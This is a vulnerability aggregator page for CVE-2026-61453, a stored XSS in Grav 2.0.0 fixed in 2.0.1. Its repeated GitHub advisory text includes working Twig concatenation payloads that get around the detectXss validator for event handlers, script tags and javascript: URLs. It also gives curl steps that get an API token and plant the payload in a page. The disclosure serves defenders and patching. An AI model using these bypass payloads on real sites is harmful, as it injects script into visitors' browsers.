CVE-2026-61453
Grav before 2.0.1 XSS via Twig String Concatenation
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Active
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.1
Grav before 2.0.1 XSS via Twig String Concatenation
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
- Record
CVE-2026-61453- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-44650
5.1
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
- Record
EUVD-2026-44650- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2c4f-86xc-cr74
5.1
Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
Summary
The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.
Details
The two-stage attack exploits the separation between validation and rendering:
Stage 1 - what the XSS validator sees (raw page content):
{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>
The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.
Stage 2 - what Twig produces (after rendering):
<img src=1 onerror=alert(document.domain)>
The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.
Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:
allowed_tags:
- set # ← allows variable assignment
...
The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.
The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:
<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
Twig output: <script>alert(1)</script> #}
Also bypasses the invalid_protocols check:
<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}
Proof of Concept
Prerequisites
twig_content.process_enabled: trueset by adminapi.pages.writepermission (page creation)
Step 1 - Obtain JWT token (any user with page write access)
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Create page with Twig XSS payload
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
-H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{
"title": "xss-page",
"folder": "xss-page",
"route": "/xss-page",
"template": "default",
"header": {"title": "xss", "process": {"markdown": false}},
"content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
}'
Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.
Step 3 - Visit page → XSS fires
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>
Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.
<img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" />
<img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />
From a low-level user
Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.
<img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />
But with payloads…
- Record
GHSA-2c4f-86xc-cr74- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79, CWE-184, CWE-1336
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-373m-p57p-8665
5.1
Duplicate Advisory: Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2c4f-86xc-cr74. This link is maintained to preserve external references.
Original Description
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
- Record
GHSA-373m-p57p-8665- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.1
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
- Record
CVE-2026-61453- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.1
Grav before 2.0.1 XSS via Twig String Concatenation
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
- Record
CVE-2026-61453- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-2c4f-86xc-cr74
5.1
Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
Summary
The XSS blueprint validator (Security::detectXss()) runs on the raw page content before Twig processing. An attacker can use Twig's string concatenation operator (~) to dynamically construct an event handler name at render time. The validator sees {{ "on" ~ "error" }} - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains <img src=1 onerror=alert(1)> which is rendered via {{ content|raw }} and executes in the victim's browser.
Details
The two-stage attack exploits the separation between validation and rendering:
Stage 1 - what the XSS validator sees (raw page content):
{% set x = "on" ~ "error" %}
<img src=1 {{ x }}=alert(document.domain)>
The detectXss() function scans this string. The on_events regex looks for <[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*= inside HTML tags. In {{ x }}, the { character is not in the boundary set [\s\x00-\x20\"\'\/], and x is not on. No match - passes validation.
Stage 2 - what Twig produces (after rendering):
<img src=1 onerror=alert(document.domain)>
The validator never re-inspects Twig output. The theme template renders this via {{ page.content|raw }} (confirmed in quark2/templates/default.html.twig:5), so no auto-escaping occurs.
Why {% set %} and ~ are allowed - system/config/security.yaml:125-145:
allowed_tags:
- set # ← allows variable assignment
...
The ~ operator is a core Twig operator for string concatenation (like . in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.
The same technique bypasses the dangerous_tags blocklist - any blocked tag name can be reconstructed:
<s{{"c"~"r"~"i"~"p"~"t"}}>alert(1)</s{{"c"~"r"~"i"~"p"~"t"}}>
{# XSS validator sees: <s{{...}}> - no <script> tag detected
Twig output: <script>alert(1)</script> #}
Also bypasses the invalid_protocols check:
<a href="{{"java"~"script"}}:alert(1)">click</a>
{# Validator sees: href="{{...}}" - no "javascript:" protocol detected #}
Proof of Concept
Prerequisites
twig_content.process_enabled: trueset by adminapi.pages.writepermission (page creation)
Step 1 - Obtain JWT token (any user with page write access)
JWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \
-X POST -H "Content-Type: application/json" \
-d '{"username":"user","password":"pass"}' \
| python3 -c "import json,sys; print(json.load(sys.stdin)['data']['access_token'])")
Step 2 - Create page with Twig XSS payload
curl -s http://127.0.0.1/grav/api/v1/pages -X POST \
-H "Authorization: Bearer $JWT" -H "Content-Type: application/json" \
-d '{
"title": "xss-page",
"folder": "xss-page",
"route": "/xss-page",
"template": "default",
"header": {"title": "xss", "process": {"markdown": false}},
"content": "{% set x = \"on\" ~ \"error\" %}<img src=1 {{ x }}=alert(document.domain)>"
}'
Result: 201 Created - XSS validator passes because it sees {{ x }}, not onerror.
Step 3 - Visit page → XSS fires
curl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'
# Output: <img src=1 onerror=alert(document.domain)>
Open in browser: http://127.0.0.1/grav/xss-page - alert(document.domain) fires.
<img width="1842" height="996" alt="image" src="https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588" />
<img width="1346" height="263" alt="image" src="https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef" />
From a low-level user
Also From a low-level user normal script such as <img src=1 onerror=alert(1)> this is being blocked by the restriction.
<img width="1849" height="980" alt="image" src="https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57" />
But with payloads…
- Record
GHSA-2c4f-86xc-cr74- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - Weakness
- CWE-1336, CWE-184, CWE-79
- Updated
- 2026-11-02
OSVGHSA-373m-p57p-8665
5.1
Duplicate Advisory: Grav: XSS Blueprint Validation Bypass via Twig String Concatenation
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-2c4f-86xc-cr74. This link is maintained to preserve external references.
Original Description
Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig's string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = "on" ~ "error" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as <img src=1 onerror=alert(1)>, executing arbitrary JavaScript in visitors' browsers.
- Record
GHSA-373m-p57p-8665- CVSS 4.0
- 5.1 Medium
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 6.1 Medium
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
getgrav/gravPackagist |
2.0.0 to 2.0.0 | 2.0.1 |
getgrav/gravPackagist |
2.0.0 up to 2.0.1 | 2.0.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-61453 is a medium vulnerability (CVSS 5.1) in Getgrav Grav, published July 15, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 9th percentile. Fixed in getgrav/grav 2.0.1.
References
github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74
vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation
nvd.nist.gov/vuln/detail/CVE-2026-61453
nvd.nist.gov/vuln/detail/CVE-2026-61710
github.com/advisories/GHSA-2c4f-86xc-cr74
github.com/advisories/GHSA-373m-p57p-8665
github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61453.json
github.com/getgrav/grav
Left out here: the rest of 2 source descriptions. The JSON record has them.